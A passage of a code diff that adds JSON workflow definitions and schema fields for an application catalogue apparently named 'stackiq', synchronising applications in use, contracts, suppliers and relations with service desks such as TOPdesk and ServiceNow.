"property": "provider", + "value": "{{ supplier.uuid }}" + } + ], + "fields": { + "name": "{{ record.name }}", + "provider": "{{ supplier.uuid }}" + }, + "output": "module" + } + }, + { + "id": "usage-create", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "operation": "upsert", + "skipWhen": "isUpdate", + "match": [ + { + "property": "module", + "value": "{{ module.uuid }}" + }, + { + "property": "consumer", + "value": "%CONSUMER%" + } + ], + "fields": { + "module": "{{ module.uuid }}", + "consumer": "%CONSUMER%", + "status": "{{ record.status }}", + "installedVersion": "{{ record.installedVersion }}", + "serviceDeskSystem": "%DESK%", + "serviceDeskRecordId": "{{ record.recordId }}", + "serviceDeskUrl": "{{ record.recordUrl }}", + "serviceDeskSyncedAt": "{{ syncedAt }}" + }, + "output": "usageWritten" + } + }, + { + "id": "usage-update", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "operation": "update", + "skipWhen": "isCreate", + "match": [ + { + "property": "@self.uuid", + "value": "{{ contract.targetId }}" + } + ], + "fields": { + "module": "{{ module.uuid }}", + "status": "{{ owned.status }}", + "installedVersion": "{{ owned.installedVersion }}", + "serviceDeskSystem": "%DESK%", + "serviceDeskRecordId": "{{ owned.recordId }}", + "serviceDeskUrl": "{{ owned.recordUrl }}", + "serviceDeskSyncedAt": "{{ syncedAt }}" + }, + "output": "usageWritten" + } + }, + { + "id": "commit", + "type": "openconnector.contract-commit", + "config": { + "synchronization": "%SYNC%", + "contractPosition": "contract", + "targetIdPosition": "usageWritten.uuid", + "targetHashPosition": "owned" + } + }, + { + "id": "end", + "type": "openregister.end", + "config": {} + } + ], + "edges": [ + { + "id": "e-start-pages", + "from": "start", + "to": "pages" + }, + { + "id": "e-pages-each", + "from": "pages", + "to": "each" + }, + { + "id": "e-each-desk", + "from": "each", + "to": "desk" + }, + { + "id": "e-desk-map-all", + "from": "desk", + "to": "map-all" + }, + { + "id": "e-map-all-map-owned", + "from": "map-all", + "to": "map-owned" + }, + { + "id": "e-map-owned-complete", + "from": "map-owned", + "to": "complete" + }, + { + "id": "e-complete-decide", + "from": "complete", + "to": "decide" + }, + { + "id": "e-decide-changed", + "from": "decide", + "to": "changed" + }, + { + "id": "e-changed-flags", + "from": "changed", + "to": "flags" + }, + { + "id": "e-flags-supplier", + "from": "flags", + "to": "supplier" + }, + { + "id": "e-supplier-module", + "from": "supplier", + "to": "module" + }, + { + "id": "e-module-usage-create", + "from": "module", + "to": "usage-create" + }, + { + "id": "e-usage-create-usage-update", + "from": "usage-create", + "to": "usage-update" + }, + { + "id": "e-usage-update-commit", + "from": "usage-update", + "to": "commit" + }, + { + "id": "e-commit-end", + "from": "commit", + "to": "end" + } + ] +} diff --git a/lib/Settings/flows/itsm-inbound-contracts.json b/lib/Settings/flows/itsm-inbound-contracts.json new file mode 100644 index 000000000..1cc4c2375 --- /dev/null +++ b/lib/Settings/flows/itsm-inbound-contracts.json @@ -0,0 +1,373 @@ +{ + "name": "Service desk import: %FEED_LABEL% (%DESK_LABEL%)", + "app": "stackiq", + "description": "Reads licences or contracts from the service desk and records them on the application in use they belong to. A new one is created with every field; after that stackiq owns its licence and contract fields, and the import only refreshes the service desk reference.", + "trigger": "schedule", + "cron": "%CRON%", + "executionMode": "async", + "limits": { + "maxTransitions": 5000 + }, + "nodes": [ + { + "id": "start", + "type": "openregister.trigger-schedule", + "config": { + "cron": "%CRON%", + "runAs": "%RUN_AS%" + } + }, + { + "id": "pages", + "type": "openconnector.source-paginate", + "config": { + "synchronization": "%SYNC%", + "output": "page" + } + }, + { + "id": "each", + "type": "openregister.explode", + "config": { + "path": "page.results", + "as": "source" + } + }, + { + "id": "desk", + "type": "openregister.set-fields", + "config": { + "set": { + "source._desk.baseUrl": "%DESK_BASE%" + } + } + }, + { + "id": "map-all", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "record" + } + }, + { + "id": "map-owned", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "owned", + "ownership": "inbound", + "exists": "record.recordId" + } + }, + { + "id": "complete", + "type": "openregister.filter", + "config": { + "condition": { + "and": [ + { + "!!": { + "var": "json.record.recordId" + } + }, + { + "!!": { + "var": "json.record.applicationRecordId" + } + }, + { + "!!": { + "var": "json.record.startDate" + } + } + ] + } + } + }, + { + "id": "decide", + "type": "openconnector.contract", + "config": { + "synchronization": "%SYNC%", + "idPosition": "owned.recordId", + "hashPosition": "owned", + "output": "contract" + } + }, + { + "id": "changed", + "type": "openregister.filter", + "config": { + "condition": { + "in": [ + { + "var": "json.contract.outcome" + }, + [ + "create", + "update" + ] + ] + } + } + }, + { + "id": "application", + "type": "openregister.object-read", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "filters": { + "serviceDeskRecordId": "{{ record.applicationRecordId }}" + }, + "limit": 1, + "fanOut": false, + "output": "usage" + } + }, + { + "id": "has-application", + "type": "openregister.filter", + "config": { + "condition": { + "!!": { + "var": "json.usage.0.uuid" + } + } + } + }, + { + "id": "flags", + "type": "openregister.set-fields", + "config": { + "compute": { + "isCreate": { + "!": { + "var": "json.contract.targetId" + } + }, + "isUpdate": { + "!!": { + "var": "json.contract.targetId" + } + }, + "noSupplier": { + "!": { + "var": "json.record.supplierName" + } + }, + "syncedAt": { + "now": [] + }, + "contractNumber": { + "or": [ + { + "var": "json.record.contractNumber" + }, + { + "var": "json.record.vendorReference" + }, + { + "var": "json.record.recordId" + } + ] + }, + "contractType": { + "or": [ + { + "var": "json.record.contractType" + }, + "%CONTRACT_TYPE%" + ] + } + } + } + }, + { + "id": "supplier", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "organization", + "operation": "upsert", + "skipWhen": "noSupplier", + "match": [ + { + "property": "name", + "value": "{{ record.supplierName }}" + }, + { + "property": "type", + "value": "Supplier" + } + ], + "fields": { + "name": "{{ record.supplierName }}", + "type": "Supplier" + }, + "output": "supplier" + } + }, + { + "id": "contract-create", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "catalogContract", + "operation": "upsert", + "skipWhen": "isUpdate", + "match": [ + { + "property": "serviceDeskRecordId", + "value": "{{ record.recordId }}" + } + ], + "fields": { + "usage": "{{ usage.0.uuid }}", + "supplier": "{{ supplier.uuid }}", + "contractNumber": "{{ contractNumber }}", + "vendorReference": "{{ record.vendorReference }}", + "contractType": "{{ contractType }}", + "status": "Active", + "startDate": "{{ record.startDate }}", + "endDate": "{{ record.endDate }}", + "cost": "{{ record.cost }}", + "costPeriod": "{{ record.costPeriod }}", + "currency": "{{ record.currency }}", + "licenceMetric": "{{ record.licenceMetric }}", + "licencesBought": "{{ record.licencesBought }}", + "serviceDeskSystem": "%DESK%", + "serviceDeskRecordId": "{{ record.recordId }}", + "serviceDeskUrl": "{{ record.recordUrl }}", + "serviceDeskSyncedAt": "{{ syncedAt }}" + }, + "output": "contractWritten" + } + }, + { + "id": "contract-update", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "catalogContract", + "operation": "update", + "skipWhen": "isCreate", + "match": [ + { + "property": "@self.uuid", + "value": "{{ contract.targetId }}" + } + ], + "fields": { + "usage": "{{ usage.0.uuid }}", + "supplier": "{{ supplier.uuid }}", + "serviceDeskSystem": "%DESK%", + "serviceDeskRecordId": "{{ owned.recordId }}", + "serviceDeskUrl": "{{ owned.recordUrl }}", + "serviceDeskSyncedAt": "{{ syncedAt }}" + }, + "output": "contractWritten" + } + }, + { + "id": "commit", + "type": "openconnector.contract-commit", + "config": { + "synchronization": "%SYNC%", + "contractPosition": "contract", + "targetIdPosition": "contractWritten.uuid", + "targetHashPosition": "owned" + } + }, + { + "id": "end", + "type": "openregister.end", + "config": {} + } + ], + "edges": [ + { + "id": "e-start-pages", + "from": "start", + "to": "pages" + }, + { + "id": "e-pages-each", + "from": "pages", + "to": "each" + }, + { + "id": "e-each-desk", + "from": "each", + "to": "desk" + }, + { + "id": "e-desk-map-all", + "from": "desk", + "to": "map-all" + }, + { + "id": "e-map-all-map-owned", + "from": "map-all", + "to": "map-owned" + }, + { + "id": "e-map-owned-complete", + "from": "map-owned", + "to": "complete" + }, + { + "id": "e-complete-decide", + "from": "complete", + "to": "decide" + }, + { + "id": "e-decide-changed", + "from": "decide", + "to": "changed" + }, + { + "id": "e-changed-application", + "from": "changed", + "to": "application" + }, + { + "id": "e-application-has-application", + "from": "application", + "to": "has-application" + }, + { + "id": "e-has-application-flags", + "from": "has-application", + "to": "flags" + }, + { + "id": "e-flags-supplier", + "from": "flags", + "to": "supplier" + }, + { + "id": "e-supplier-contract-create", + "from": "supplier", + "to": "contract-create" + }, + { + "id": "e-contract-create-contract-update", + "from": "contract-create", + "to": "contract-update" + }, + { + "id": "e-contract-update-commit", + "from": "contract-update", + "to": "commit" + }, + { + "id": "e-commit-end", + "from": "commit", + "to": "end" + } + ] +} diff --git a/lib/Settings/flows/itsm-inbound-relations-per-application.json b/lib/Settings/flows/itsm-inbound-relations-per-application.json new file mode 100644 index 000000000..4a444cb28 --- /dev/null +++ b/lib/Settings/flows/itsm-inbound-relations-per-application.json @@ -0,0 +1,347 @@ +{ + "name": "Service desk import: relations (%DESK_LABEL%)", + "app": "stackiq", + "description": "TOPdesk lists the links of one asset at a time, so this import asks for the links of every application in use that came from TOPdesk, and records each as a connection between the applications. A link whose other end is not imported yet waits for the next run.", + "trigger": "schedule", + "cron": "%CRON%", + "executionMode": "async", + "limits": { + "maxTransitions": 5000 + }, + "nodes": [ + { + "id": "start", + "type": "openregister.trigger-schedule", + "config": { + "cron": "%CRON%", + "runAs": "%RUN_AS%" + } + }, + { + "id": "usages", + "type": "openregister.object-read", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "filters": { + "serviceDeskSystem": "%DESK%" + }, + "limit": 1000, + "fanOut": true + } + }, + { + "id": "links", + "type": "openconnector.source-call", + "config": { + "source": "%SOURCE%", + "endpoint": "/assetmgmt/assetLinks", + "method": "GET", + "query": { + "sourceId": "{{ serviceDeskRecordId }}" + }, + "output": "links" + } + }, + { + "id": "each", + "type": "openregister.explode", + "config": { + "path": "links.body", + "as": "link" + } + }, + { + "id": "desk", + "type": "openregister.set-fields", + "config": { + "set": { + "source.applicationRecordId": "{{ serviceDeskRecordId }}", + "source.link": "{{ link }}", + "source._desk.baseUrl": "%DESK_BASE%" + } + } + }, + { + "id": "map-all", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "record" + } + }, + { + "id": "map-owned", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "owned", + "ownership": "inbound", + "exists": "record.recordId" + } + }, + { + "id": "complete", + "type": "openregister.filter", + "config": { + "condition": { + "and": [ + { + "!!": { + "var": "json.record.recordId" + } + }, + { + "!!": { + "var": "json.record.fromRecordId" + } + }, + { + "!!": { + "var": "json.record.toRecordId" + } + } + ] + } + } + }, + { + "id": "decide", + "type": "openconnector.contract", + "config": { + "synchronization": "%SYNC%", + "idPosition": "owned.recordId", + "hashPosition": "owned", + "output": "contract" + } + }, + { + "id": "changed", + "type": "openregister.filter", + "config": { + "condition": { + "in": [ + { + "var": "json.contract.outcome" + }, + [ + "create", + "update" + ] + ] + } + } + }, + { + "id": "from", + "type": "openregister.object-read", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "filters": { + "serviceDeskRecordId": "{{ record.fromRecordId }}" + }, + "limit": 1, + "fanOut": false, + "output": "fromUsage" + } + }, + { + "id": "to", + "type": "openregister.object-read", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "filters": { + "serviceDeskRecordId": "{{ record.toRecordId }}" + }, + "limit": 1, + "fanOut": false, + "output": "toUsage" + } + }, + { + "id": "both-ends", + "type": "openregister.filter", + "config": { + "condition": { + "and": [ + { + "!!": { + "var": "json.fromUsage.0.module" + } + }, + { + "!!": { + "var": "json.toUsage.0.module" + } + } + ] + } + } + }, + { + "id": "flags", + "type": "openregister.set-fields", + "config": { + "compute": { + "syncedAt": { + "now": [] + }, + "connectionName": { + "or": [ + { + "var": "json.record.name" + }, + { + "cat": [ + { + "var": "json.record.fromRecordId" + }, + " - ", + { + "var": "json.record.toRecordId" + } + ] + } + ] + }, + "connectionType": { + "or": [ + { + "var": "json.record.type" + }, + "n/a" + ] + } + } + } + }, + { + "id": "connection", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "connection", + "operation": "upsert", + "match": [ + { + "property": "serviceDeskRecordId", + "value": "{{ owned.recordId }}" + } + ], + "fields": { + "name": "{{ connectionName }}", + "type": "{{ connectionType }}", + "dataExchangeDirection": "{{ owned.direction }}", + "moduleA": "{{ fromUsage.0.module }}", + "moduleB": "{{ toUsage.0.module }}", + "serviceDeskSystem": "%DESK%", + "serviceDeskRecordId": "{{ owned.recordId }}", + "serviceDeskUrl": "{{ owned.recordUrl }}", + "serviceDeskSyncedAt": "{{ syncedAt }}" + }, + "output": "connectionWritten" + } + }, + { + "id": "commit", + "type": "openconnector.contract-commit", + "config": { + "synchronization": "%SYNC%", + "contractPosition": "contract", + "targetIdPosition": "connectionWritten.uuid", + "targetHashPosition": "owned" + } + }, + { + "id": "end", + "type": "openregister.end", + "config": {} + } + ], + "edges": [ + { + "id": "e-start-usages", + "from": "start", + "to": "usages" + }, + { + "id": "e-usages-links", + "from": "usages", + "to": "links" + }, + { + "id": "e-links-each", + "from": "links", + "to": "each" + }, + { + "id": "e-each-desk", + "from": "each", + "to": "desk" + }, + { + "id": "e-desk-map-all", + "from": "desk", + "to": "map-all" + }, + { + "id": "e-map-all-map-owned", + "from": "map-all", + "to": "map-owned" + }, + { + "id": "e-map-owned-complete", + "from": "map-owned", + "to": "complete" + }, + { + "id": "e-complete-decide", + "from": "complete", + "to": "decide" + }, + { + "id": "e-decide-changed", + "from": "decide", + "to": "changed" + }, + { + "id": "e-changed-from", + "from": "changed", + "to": "from" + }, + { + "id": "e-from-to", + "from": "from", + "to": "to" + }, + { + "id": "e-to-both-ends", + "from": "to", + "to": "both-ends" + }, + { + "id": "e-both-ends-flags", + "from": "both-ends", + "to": "flags" + }, + { + "id": "e-flags-connection", + "from": "flags", + "to": "connection" + }, + { + "id": "e-connection-commit", + "from": "connection", + "to": "commit" + }, + { + "id": "e-commit-end", + "from": "commit", + "to": "end" + } + ] +} diff --git a/lib/Settings/flows/itsm-inbound-relations.json b/lib/Settings/flows/itsm-inbound-relations.json new file mode 100644 index 000000000..c3df3153b --- /dev/null +++ b/lib/Settings/flows/itsm-inbound-relations.json @@ -0,0 +1,322 @@ +{ + "name": "Service desk import: relations (%DESK_LABEL%)", + "app": "stackiq", + "description": "Reads the relations between application records from the service desk and records them as connections between the applications. A relation whose ends are not imported yet waits for the next run.", + "trigger": "schedule", + "cron": "%CRON%", + "executionMode": "async", + "limits": { + "maxTransitions": 5000 + }, + "nodes": [ + { + "id": "start", + "type": "openregister.trigger-schedule", + "config": { + "cron": "%CRON%", + "runAs": "%RUN_AS%" + } + }, + { + "id": "pages", + "type": "openconnector.source-paginate", + "config": { + "synchronization": "%SYNC%", + "output": "page" + } + }, + { + "id": "each", + "type": "openregister.explode", + "config": { + "path": "page.results", + "as": "source" + } + }, + { + "id": "desk", + "type": "openregister.set-fields", + "config": { + "set": { + "source._desk.baseUrl": "%DESK_BASE%" + } + } + }, + { + "id": "map-all", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "record" + } + }, + { + "id": "map-owned", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "owned", + "ownership": "inbound", + "exists": "record.recordId" + } + }, + { + "id": "complete", + "type": "openregister.filter", + "config": { + "condition": { + "and": [ + { + "!!": { + "var": "json.record.recordId" + } + }, + { + "!!": { + "var": "json.record.fromRecordId" + } + }, + { + "!!": { + "var": "json.record.toRecordId" + } + } + ] + } + } + }, + { + "id": "decide", + "type": "openconnector.contract", + "config": { + "synchronization": "%SYNC%", + "idPosition": "owned.recordId", + "hashPosition": "owned", + "output": "contract" + } + }, + { + "id": "changed", + "type": "openregister.filter", + "config": { + "condition": { + "in": [ + { + "var": "json.contract.outcome" + }, + [ + "create", + "update" + ] + ] + } + } + }, + { + "id": "from", + "type": "openregister.object-read", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "filters": { + "serviceDeskRecordId": "{{ record.fromRecordId }}" + }, + "limit": 1, + "fanOut": false, + "output": "fromUsage" + } + }, + { + "id": "to", + "type": "openregister.object-read", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "filters": { + "serviceDeskRecordId": "{{ record.toRecordId }}" + }, + "limit": 1, + "fanOut": false, + "output": "toUsage" + } + }, + { + "id": "both-ends", + "type": "openregister.filter", + "config": { + "condition": { + "and": [ + { + "!!": { + "var": "json.fromUsage.0.module" + } + }, + { + "!!": { + "var": "json.toUsage.0.module" + } + } + ] + } + } + }, + { + "id": "flags", + "type": "openregister.set-fields", + "config": { + "compute": { + "syncedAt": { + "now": [] + }, + "connectionName": { + "or": [ + { + "var": "json.record.name" + }, + { + "cat": [ + { + "var": "json.record.fromRecordId" + }, + " - ", + { + "var": "json.record.toRecordId" + } + ] + } + ] + }, + "connectionType": { + "or": [ + { + "var": "json.record.type" + }, + "n/a" + ] + } + } + } + }, + { + "id": "connection", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "connection", + "operation": "upsert", + "match": [ + { + "property": "serviceDeskRecordId", + "value": "{{ owned.recordId }}" + } + ], + "fields": { + "name": "{{ connectionName }}", + "type": "{{ connectionType }}", + "dataExchangeDirection": "{{ owned.direction }}", + "moduleA": "{{ fromUsage.0.module }}", + "moduleB": "{{ toUsage.0.module }}", + "serviceDeskSystem": "%DESK%", + "serviceDeskRecordId": "{{ owned.recordId }}", + "serviceDeskUrl": "{{ owned.recordUrl }}", + "serviceDeskSyncedAt": "{{ syncedAt }}" + }, + "output": "connectionWritten" + } + }, + { + "id": "commit", + "type": "openconnector.contract-commit", + "config": { + "synchronization": "%SYNC%", + "contractPosition": "contract", + "targetIdPosition": "connectionWritten.uuid", + "targetHashPosition": "owned" + } + }, + { + "id": "end", + "type": "openregister.end", + "config": {} + } + ], + "edges": [ + { + "id": "e-start-pages", + "from": "start", + "to": "pages" + }, + { + "id": "e-pages-each", + "from": "pages", + "to": "each" + }, + { + "id": "e-each-desk", + "from": "each", + "to": "desk" + }, + { + "id": "e-desk-map-all", + "from": "desk", + "to": "map-all" + }, + { + "id": "e-map-all-map-owned", + "from": "map-all", + "to": "map-owned" + }, + { + "id": "e-map-owned-complete", + "from": "map-owned", + "to": "complete" + }, + { + "id": "e-complete-decide", + "from": "complete", + "to": "decide" + }, + { + "id": "e-decide-changed", + "from": "decide", + "to": "changed" + }, + { + "id": "e-changed-from", + "from": "changed", + "to": "from" + }, + { + "id": "e-from-to", + "from": "from", + "to": "to" + }, + { + "id": "e-to-both-ends", + "from": "to", + "to": "both-ends" + }, + { + "id": "e-both-ends-flags", + "from": "both-ends", + "to": "flags" + }, + { + "id": "e-flags-connection", + "from": "flags", + "to": "connection" + }, + { + "id": "e-connection-commit", + "from": "connection", + "to": "commit" + }, + { + "id": "e-commit-end", + "from": "commit", + "to": "end" + } + ] +} diff --git a/lib/Settings/flows/itsm-outbound-applications.json b/lib/Settings/flows/itsm-outbound-applications.json new file mode 100644 index 000000000..b5cc62032 --- /dev/null +++ b/lib/Settings/flows/itsm-outbound-applications.json @@ -0,0 +1,458 @@ +{ + "name": "Service desk export: applications in use (%DESK_LABEL%)", + "app": "stackiq", + "description": "Sends an application in use to the service desk when stackiq-owned fields change: licences, contract, BBN level, TIME class and publication. A record the service desk does not know yet is created there with every field, and its record id comes back. A change the import wrote is not sent back.", + "trigger": "object.updated", + "triggerRegister": "%REGISTER%", + "triggerSchema": "usage", + "executionMode": "async", + "limits": { + "maxTransitions": 5000 + }, + "nodes": [ + { + "id": "on-created", + "type": "openregister.trigger-object", + "config": { + "event": "object.created", + "register": "%REGISTER%", + "schema": "usage" + } + }, + { + "id": "on-updated", + "type": "openregister.trigger-object", + "config": { + "event": "object.updated", + "register": "%REGISTER%", + "schema": "usage" + } + }, + { + "id": "ours", + "type": "openregister.filter", + "config": { + "condition": { + "and": [ + { + "==": [ + { + "var": "json.consumer" + }, + "%CONSUMER%" + ] + }, + { + "!!": { + "var": "json.module" + } + } + ] + } + } + }, + { + "id": "read-module", + "type": "openregister.object-read", + "config": { + "register": "%REGISTER%", + "schema": "module", + "filters": { + "@self": { + "uuid": "{{ module }}" + } + }, + "limit": 1, + "fanOut": false, + "output": "moduleRead" + } + }, + { + "id": "ids", + "type": "openregister.set-fields", + "config": { + "compute": { + "providerId": { + "or": [ + { + "var": "json.moduleRead.0.provider" + }, + "00000000-0000-0000-0000-000000000000" + ] + }, + "usageId": { + "var": "json.@self.id" + } + } + } + }, + { + "id": "read-supplier", + "type": "openregister.object-read", + "config": { + "register": "%REGISTER%", + "schema": "organization", + "filters": { + "@self": { + "uuid": "{{ providerId }}" + } + }, + "limit": 1, + "fanOut": false, + "output": "supplierRead" + } + }, + { + "id": "read-contract", + "type": "openregister.object-read", + "config": { + "register": "%REGISTER%", + "schema": "catalogContract", + "filters": { + "usage": "{{ usageId }}" + }, + "limit": 1, + "fanOut": false, + "output": "contractRead" + } + }, + { + "id": "build", + "type": "openregister.set-fields", + "config": { + "set": { + "usage.uuid": "{{ @self.id }}", + "usage.catalogueUrl": "%APP_URL%/gebruik/{{ @self.id }}", + "usage.recordId": "{{ serviceDeskRecordId }}", + "usage.name": "{{ moduleRead.0.name }}", + "usage.supplierName": "{{ supplierRead.0.name }}", + "usage.installedVersion": "{{ installedVersion }}", + "usage.status": "{{ status }}", + "usage.bbnLevel": "{{ moduleRead.0.bbnLevel }}", + "usage.timeClassification": "{{ timeClassification }}", + "usage.publicationDate": "{{ publicationDate }}", + "usage.licencesBought": "{{ contractRead.0.licencesBought }}", + "usage.licencesInUse": "{{ contractRead.0.licencesInUse }}", + "usage.licenceMetric": "{{ contractRead.0.licenceMetric }}", + "usage.contractNumber": "{{ contractRead.0.contractNumber }}", + "usage.contractEndDate": "{{ contractRead.0.endDate }}", + "usage._desk.baseUrl": "%DESK_BASE%", + "usage._desk.templateId": "%TEMPLATE_ID%" + } + } + }, + { + "id": "owned", + "type": "openregister.set-fields", + "config": { + "set": { + "stackiqOwned.bbnLevel": "{{ usage.bbnLevel }}", + "stackiqOwned.timeClassification": "{{ usage.timeClassification }}", + "stackiqOwned.publicationDate": "{{ usage.publicationDate }}", + "stackiqOwned.licencesBought": "{{ usage.licencesBought }}", + "stackiqOwned.licencesInUse": "{{ usage.licencesInUse }}", + "stackiqOwned.licenceMetric": "{{ usage.licenceMetric }}", + "stackiqOwned.contractNumber": "{{ usage.contractNumber }}", + "stackiqOwned.contractEndDate": "{{ usage.contractEndDate }}" + } + } + }, + { + "id": "worth-sending", + "type": "openregister.filter", + "config": { + "condition": { + "or": [ + { + "!": { + "var": "json.usage.recordId" + } + }, + { + "!!": { + "var": "json.stackiqOwned.bbnLevel" + } + }, + { + "!!": { + "var": "json.stackiqOwned.timeClassification" + } + }, + { + "!!": { + "var": "json.stackiqOwned.publicationDate" + } + }, + { + "!!": { + "var": "json.stackiqOwned.licencesBought" + } + }, + { + "!!": { + "var": "json.stackiqOwned.licencesInUse" + } + }, + { + "!!": { + "var": "json.stackiqOwned.licenceMetric" + } + }, + { + "!!": { + "var": "json.stackiqOwned.contractNumber" + } + }, + { + "!!": { + "var": "json.stackiqOwned.contractEndDate" + } + } + ] + } + } + }, + { + "id": "map", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "usage", + "output": "send", + "ownership": "outbound", + "exists": "usage.recordId" + } + }, + { + "id": "decide", + "type": "openconnector.contract", + "config": { + "synchronization": "%SYNC%", + "idPosition": "usage.uuid", + "hashPosition": "stackiqOwned", + "output": "contract" + } + }, + { + "id": "changed", + "type": "openregister.filter", + "config": { + "condition": { + "in": [ + { + "var": "json.contract.outcome" + }, + [ + "create", + "update" + ] + ] + } + } + }, + { + "id": "known", + "type": "openregister.set-fields", + "config": { + "compute": { + "syncedAt": { + "now": [] + } + } + }, + "exits": [ + { + "id": "create", + "condition": { + "!": { + "var": "json.usage.recordId" + } + } + }, + { + "id": "update" + } + ] + }, + { + "id": "call-create", + "type": "openconnector.source-call", + "config": { + "source": "%SOURCE%", + "endpoint": "%CREATE_ENDPOINT%", + "method": "%CREATE_METHOD%", + "bodyFrom": "send", + "output": "response", + "query": "%CALL_QUERY%" + } + }, + { + "id": "link-back", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "operation": "update", + "match": [ + { + "property": "@self.uuid", + "value": "{{ usage.uuid }}" + } + ], + "fields": { + "serviceDeskSystem": "%DESK%", + "serviceDeskRecordId": "{{ response.body.%RESPONSE_ID% }}", + "serviceDeskUrl": "%RECORD_URL%", + "serviceDeskSyncedAt": "{{ syncedAt }}" + }, + "output": "linked" + } + }, + { + "id": "commit-create", + "type": "openconnector.contract-commit", + "config": { + "synchronization": "%SYNC%", + "contractPosition": "contract", + "targetIdPosition": "response.body.%RESPONSE_ID%", + "targetHashPosition": "send" + } + }, + { + "id": "end-create", + "type": "openregister.end", + "config": {} + }, + { + "id": "call-update", + "type": "openconnector.source-call", + "config": { + "source": "%SOURCE%", + "endpoint": "%UPDATE_ENDPOINT%", + "method": "%UPDATE_METHOD%", + "bodyFrom": "send", + "output": "response", + "query": "%CALL_QUERY%" + } + }, + { + "id": "commit-update", + "type": "openconnector.contract-commit", + "config": { + "synchronization": "%SYNC%", + "contractPosition": "contract", + "targetIdPosition": "usage.recordId", + "targetHashPosition": "send" + } + }, + { + "id": "end-update", + "type": "openregister.end", + "config": {} + } + ], + "edges": [ + { + "id": "e-on-created-ours", + "from": "on-created", + "to": "ours" + }, + { + "id": "e-on-updated-ours", + "from": "on-updated", + "to": "ours" + }, + { + "id": "e-ours-read-module", + "from": "ours", + "to": "read-module" + }, + { + "id": "e-read-module-ids", + "from": "read-module", + "to": "ids" + }, + { + "id": "e-ids-read-supplier", + "from": "ids", + "to": "read-supplier" + }, + { + "id": "e-read-supplier-read-contract", + "from": "read-supplier", + "to": "read-contract" + }, + { + "id": "e-read-contract-build", + "from": "read-contract", + "to": "build" + }, + { + "id": "e-build-owned", + "from": "build", + "to": "owned" + }, + { + "id": "e-owned-worth-sending", + "from": "owned", + "to": "worth-sending" + }, + { + "id": "e-worth-sending-map", + "from": "worth-sending", + "to": "map" + }, + { + "id": "e-map-decide", + "from": "map", + "to": "decide" + }, + { + "id": "e-decide-changed", + "from": "decide", + "to": "changed" + }, + { + "id": "e-changed-known", + "from": "changed", + "to": "known" + }, + { + "id": "e-known-create", + "from": "known", + "to": "call-create", + "fromExit": "create" + }, + { + "id": "e-known-update", + "from": "known", + "to": "call-update", + "fromExit": "update" + }, + { + "id": "e-call-create-link-back", + "from": "call-create", + "to": "link-back" + }, + { + "id": "e-link-back-commit-create", + "from": "link-back", + "to": "commit-create" + }, + { + "id": "e-commit-create-end-create", + "from": "commit-create", + "to": "end-create" + }, + { + "id": "e-call-update-commit-update", + "from": "call-update", + "to": "commit-update" + }, + { + "id": "e-commit-update-end-update", + "from": "commit-update", + "to": "end-update" + } + ] +} diff --git a/lib/Settings/register.d/sharing-itsm-exchange.json b/lib/Settings/register.d/sharing-itsm-exchange.json new file mode 100644 index 000000000..25434a1c2 --- /dev/null +++ b/lib/Settings/register.d/sharing-itsm-exchange.json @@ -0,0 +1,218 @@ +{ + "components": { + "schemas": { + "usage": { + "version": "1.5.4", + "properties": { + "serviceDeskSystem": { + "type": "string", + "enum": [ + "topdesk", + "servicenow", + "file" + ], + "x-enum-labels": { + "topdesk": "TOPdesk", + "servicenow": "ServiceNow", + "file": "File import" + }, + "title": "Service desk", + "description": "The service desk this record is kept in step with.", + "visible": true, + "hideOnForm": true, + "facetable": true, + "order": 60 + }, + "serviceDeskRecordId": { + "type": "string", + "maxLength": 255, + "title": "Service desk record", + "description": "The record id in the service desk. The import matches on it first.", + "visible": true, + "hideOnForm": true, + "facetable": false, + "order": 61 + }, + "serviceDeskUrl": { + "type": "string", + "format": "uri", + "title": "Service desk link", + "description": "Opens the record in the service desk.", + "visible": true, + "hideOnForm": true, + "facetable": false, + "order": 62 + }, + "serviceDeskSyncedAt": { + "type": "string", + "format": "date-time", + "title": "Last synchronised", + "description": "When the service desk exchange last wrote this record.", + "visible": true, + "hideOnForm": true, + "facetable": false, + "order": 63 + }, + "installedVersion": { + "type": "string", + "maxLength": 100, + "title": "Installed version", + "description": "The version the service desk records as installed. The service desk owns it.", + "visible": true, + "facetable": false, + "order": 64 + }, + "publicationDate": { + "type": "string", + "format": "date-time", + "title": "Publication date", + "description": "Publish this application in use in the public catalogue from this date. Leave empty to keep it internal.", + "visible": true, + "facetable": false, + "order": 65 + } + } + }, + "connection": { + "version": "0.3.4", + "properties": { + "serviceDeskSystem": { + "type": "string", + "enum": [ + "topdesk", + "servicenow", + "file" + ], + "x-enum-labels": { + "topdesk": "TOPdesk", + "servicenow": "ServiceNow", + "file": "File import" + }, + "title": "Service desk", + "description": "The service desk this record is kept in step with.", + "visible": true, + "hideOnForm": true, + "facetable": true, + "order": 60 + }, + "serviceDeskRecordId": { + "type": "string", + "maxLength": 255, + "title": "Service desk record", + "description": "The record id in the service desk. The import matches on it first.", + "visible": true, + "hideOnForm": true, + "facetable": false, + "order": 61 + }, + "serviceDeskUrl": { + "type": "string", + "format": "uri", + "title": "Service desk link", + "description": "Opens the record in the service desk.", + 